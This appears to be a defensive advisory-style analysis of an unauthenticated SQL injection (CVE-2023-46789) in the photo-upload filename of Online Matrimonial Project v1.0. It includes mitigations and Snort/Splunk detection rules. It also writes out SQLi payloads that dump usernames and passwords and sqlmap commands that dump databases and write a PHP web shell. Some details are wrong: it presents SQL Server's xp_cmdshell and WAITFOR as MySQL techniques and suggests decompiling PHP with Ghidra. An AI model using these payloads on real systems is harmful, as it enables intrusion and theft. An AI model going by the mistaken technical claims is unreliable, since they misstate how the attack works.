Description
Online Matrimonial Project v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The 'filename' attribute of the 'pic1' multipart parameter of the functions.php resource does not validate the characters received and they are sent unfiltered to the database.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-50956 (CVE-2023-46789)
Unauthenticated SQL Injection in Online Matrimonial Project v1.0
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Classification
- Type: Unauthenticated SQL Injection (SQLi)
- CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- OWASP Top 10: A03:2021 – Injection
Severity Metrics (CVSS v3.1)
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability. |
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full database access possible. |
| Integrity (I) | High (H) | Arbitrary data modification possible. |
| Availability (A) | High (H) | Potential for database corruption or denial of service. |
Risk Assessment
- Exploitability: High – Publicly disclosed, no authentication required, and trivial to exploit with automated tools (e.g., SQLmap).
- Impact: Critical – Full database compromise, including sensitive user data (PII, credentials, financial details), arbitrary code execution (if stacked queries are enabled), and potential lateral movement.
- Likelihood of Exploitation: High – Given the prevalence of SQLi in web applications and the availability of exploit scripts, this vulnerability is highly attractive to threat actors.
2. Potential Attack Vectors and Exploitation Methods
Vulnerable Endpoint
- Resource:
functions.php - Parameter:
pic1(multipart form data,filenameattribute) - HTTP Method: Likely
POST(multipart/form-data)
Exploitation Steps
-
Reconnaissance:
- An attacker identifies the vulnerable parameter (
filenameinpic1) via manual testing or automated scanning. - Tools: Burp Suite, OWASP ZAP, SQLmap, or custom Python scripts.
- An attacker identifies the vulnerable parameter (
-
Basic SQL Injection Payloads:
- Boolean-based blind:
' OR '1'='1' -- - - Union-based:
' UNION SELECT 1,2,3,username,password,6 FROM users -- - - Time-based blind:
'; IF (1=1) WAITFOR DELAY '0:0:5' -- - - Error-based:
' AND (SELECT 0 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- -
- Boolean-based blind:
-
Automated Exploitation (SQLmap Example):
sqlmap -u "http://target.com/functions.php" --data="pic1=filename" --level=5 --risk=3 --batch --dbs- Flags:
--dbs: Enumerate databases.--tables -D <database>: List tables.--dump -D <database> -T <table>: Extract data.
- Flags:
-
Post-Exploitation Scenarios:
- Data Exfiltration: Extract user credentials, personal details, and financial data.
- Database Manipulation: Modify, delete, or insert records (e.g., escalate privileges).
- Remote Code Execution (RCE):
- If the database supports stacked queries (e.g., MySQL with
mysqli_multi_query), an attacker could execute OS commands via:'; EXEC xp_cmdshell('whoami') -- -
- If the database supports stacked queries (e.g., MySQL with
- Lateral Movement: If the database contains credentials for other systems, an attacker could pivot into internal networks.
3. Affected Systems and Software Versions
Vulnerable Product
- Software: Online Matrimonial Project v1.0
- Vendor: Projectworlds Pvt. Limited
- ENISA Product ID:
dc30bed8-7d08-35e2-af9e-7642027a13e4 - ENISA Vendor ID:
b897acc3-b986-3d4c-a67e-43f0c174c705
Scope of Impact
- Deployment: Likely used by small to medium-sized matrimonial websites, particularly in South Asia (given the vendor’s origin).
- Database Backend: Presumably MySQL or MariaDB (common for PHP-based projects).
- Authentication Bypass: Since the vulnerability is unauthenticated, any exposed instance is at risk.
4. Recommended Mitigation Strategies
Immediate Remediation (Short-Term)
-
Input Validation & Sanitization:
- Whitelist allowed characters for the
filenameparameter (e.g., alphanumeric +.for extensions). - Use prepared statements (parameterized queries) instead of dynamic SQL:
// Vulnerable (dynamic SQL) $query = "SELECT * FROM users WHERE id = '" . $_POST['pic1'] . "'"; // Secure (prepared statement) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :pic1"); $stmt->execute(['pic1' => $_POST['pic1']]); - Escape user input using database-specific functions (e.g.,
mysqli_real_escape_string()for MySQL).
- Whitelist allowed characters for the
-
Web Application Firewall (WAF) Rules:
- Deploy a WAF (e.g., ModSecurity, Cloudflare, AWS WAF) with SQLi protection rules (e.g., OWASP Core Rule Set).
- Block common SQLi patterns (e.g.,
',UNION,SELECT,DROP).
-
Disable Dangerous Database Features:
- Disable stacked queries if not required.
- Restrict database user permissions (avoid
root/saaccess).
Long-Term Security Hardening
-
Secure Development Practices:
- Adopt OWASP Secure Coding Guidelines (OWASP Cheat Sheet).
- Use ORM frameworks (e.g., Doctrine, Eloquent) to abstract SQL queries.
- Implement input validation libraries (e.g., PHP’s
filter_var()).
-
Regular Security Testing:
- Automated Scanning: Use tools like Burp Suite, OWASP ZAP, or Nessus to detect SQLi.
- Manual Penetration Testing: Engage ethical hackers to validate fixes.
- Code Reviews: Audit
functions.phpand other critical components.
-
Patch Management:
- Monitor vendor updates (Projectworlds Pvt. Limited).
- Apply security patches immediately upon release.
-
Database Hardening:
- Encrypt sensitive data at rest (e.g., AES-256 for PII).
- Enable database logging to detect suspicious queries.
- Restrict database access to trusted IPs.
5. Impact on the European Cybersecurity Landscape
Regulatory and Compliance Implications
-
GDPR (General Data Protection Regulation):
- Article 32 (Security of Processing): Organizations must implement appropriate technical measures to prevent SQLi.
- Article 33 (Data Breach Notification): A successful exploit could lead to a reportable breach if PII is exposed.
- Fines: Up to €20 million or 4% of global revenue (whichever is higher) for non-compliance.
-
NIS2 Directive (Network and Information Security):
- Critical sectors (e.g., dating/matrimonial platforms handling sensitive data) must report significant cyber incidents.
- Mandates vulnerability management and patching of critical vulnerabilities.
-
ENISA Guidelines:
- The European Union Agency for Cybersecurity (ENISA) emphasizes secure coding practices and vulnerability disclosure (as seen in this EUVD entry).
Threat Landscape in Europe
- Targeted Sectors:
- Dating/Matrimonial Websites: High-value targets due to sensitive user data (PII, financial details, intimate preferences).
- SMEs (Small and Medium Enterprises): Often lack robust security controls, making them prime targets.
- Threat Actors:
- Cybercriminals: Exfiltrate data for identity theft, blackmail, or sale on dark web markets.
- State-Sponsored Actors: May exploit vulnerabilities for espionage or influence operations (e.g., targeting political figures).
- Hacktivists: Could deface or leak data for ideological reasons.
- Exploitation Trends:
- Automated Attacks: Tools like SQLmap and Metasploit make exploitation trivial.
- Ransomware Precursor: SQLi can lead to initial access for ransomware deployment.
Geopolitical Considerations
- Cross-Border Data Flows: If the vulnerable software is used by EU-based companies, data residency requirements (e.g., Schrems II) may be violated if data is exfiltrated to non-EU jurisdictions.
- Supply Chain Risks: Third-party vendors (e.g., Projectworlds) may introduce vulnerabilities into EU organizations, necessitating vendor risk assessments.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Code Snippet (Hypothetical Example):
// functions.php - Unsafe file upload handling $filename = $_FILES['pic1']['name']; $query = "INSERT INTO user_profiles (image_path) VALUES ('$filename')"; $result = mysqli_query($conn, $query);- Issue: Direct string interpolation of
$filenameinto SQL query without sanitization.
- Issue: Direct string interpolation of
Exploit Proof of Concept (PoC)
-
Manual Exploitation via Burp Suite:
- Intercept a file upload request to
functions.php. - Modify the
filenameparameter:filename=' OR 1=1; -- -.jpg - Observe database errors or unexpected behavior.
- Intercept a file upload request to
-
Automated Exploitation with SQLmap:
sqlmap -u "http://target.com/functions.php" --data="pic1=filename" --method=POST --file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php- Outcome: If successful, this could write a PHP web shell to the server.
Forensic Indicators of Compromise (IoCs)
| Indicator | Description |
|---|---|
| Database Logs | Unusual SELECT, UNION, or DROP queries from unauthenticated IPs. |
| Web Server Logs | POST /functions.php with malicious filename parameters. |
| Network Traffic | Outbound data exfiltration (e.g., large database dumps). |
| File System | Unexpected .php files in web directories (e.g., /var/www/html/). |
Detection and Monitoring
- SIEM Rules (e.g., Splunk, ELK):
index=web_logs sourcetype=access_combined | search uri="/functions.php" AND (form_data="*UNION*" OR form_data="*SELECT*" OR form_data="*--*") | stats count by src_ip, user_agent - Intrusion Detection Systems (IDS):
- Snort Rule:
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection Attempt - functions.php"; flow:to_server,established; content:"filename="; pcre:"/filename=.*(UNION|SELECT|DROP|--|\/\*)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
- Snort Rule:
- Endpoint Detection (EDR/XDR):
- Monitor for unexpected database connections from web servers.
- Detect suspicious child processes (e.g.,
cmd.exespawned bymysqld.exe).
Reverse Engineering the Vulnerability
- Decompile the Application:
- Use Ghidra or IDA Pro to analyze
functions.phpfor unsafe SQL handling.
- Use Ghidra or IDA Pro to analyze
- Dynamic Analysis:
- Fuzz the
filenameparameter with Radamsa or AFL to identify injection points.
- Fuzz the
- Database Fingerprinting:
- Determine the backend (MySQL, PostgreSQL, etc.) via error messages:
' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) -- -
- Determine the backend (MySQL, PostgreSQL, etc.) via error messages:
Conclusion and Recommendations
Key Takeaways
- EUVD-2023-50956 (CVE-2023-46789) is a critical unauthenticated SQL injection vulnerability in Online Matrimonial Project v1.0, allowing full database compromise without authentication.
- Exploitation is trivial and can lead to data breaches, RCE, and regulatory penalties (GDPR, NIS2).
- Immediate action is required to patch, sanitize inputs, and deploy WAF protections.
Action Plan for Organizations
| Priority | Action | Responsible Party |
|---|---|---|
| Critical | Apply vendor patches or implement prepared statements. | DevOps / Development Team |
| High | Deploy WAF rules to block SQLi attempts. | Security Operations |
| High | Conduct a forensic analysis to check for prior exploitation. | Incident Response Team |
| Medium | Review and harden database permissions. | Database Administrators |
| Medium | Train developers on secure coding practices. | Security Awareness Team |
Final Recommendations for European Entities
- Compliance Check: Ensure GDPR/NIS2 compliance if handling EU user data.
- Threat Intelligence: Monitor for exploit attempts in logs and threat feeds.
- Vendor Risk Management: Assess third-party software (e.g., Projectworlds) for vulnerabilities.
- Incident Response: Prepare for data breach notifications if exploitation is confirmed.
By addressing this vulnerability proactively, organizations can mitigate financial, reputational, and regulatory risks while enhancing their overall security posture.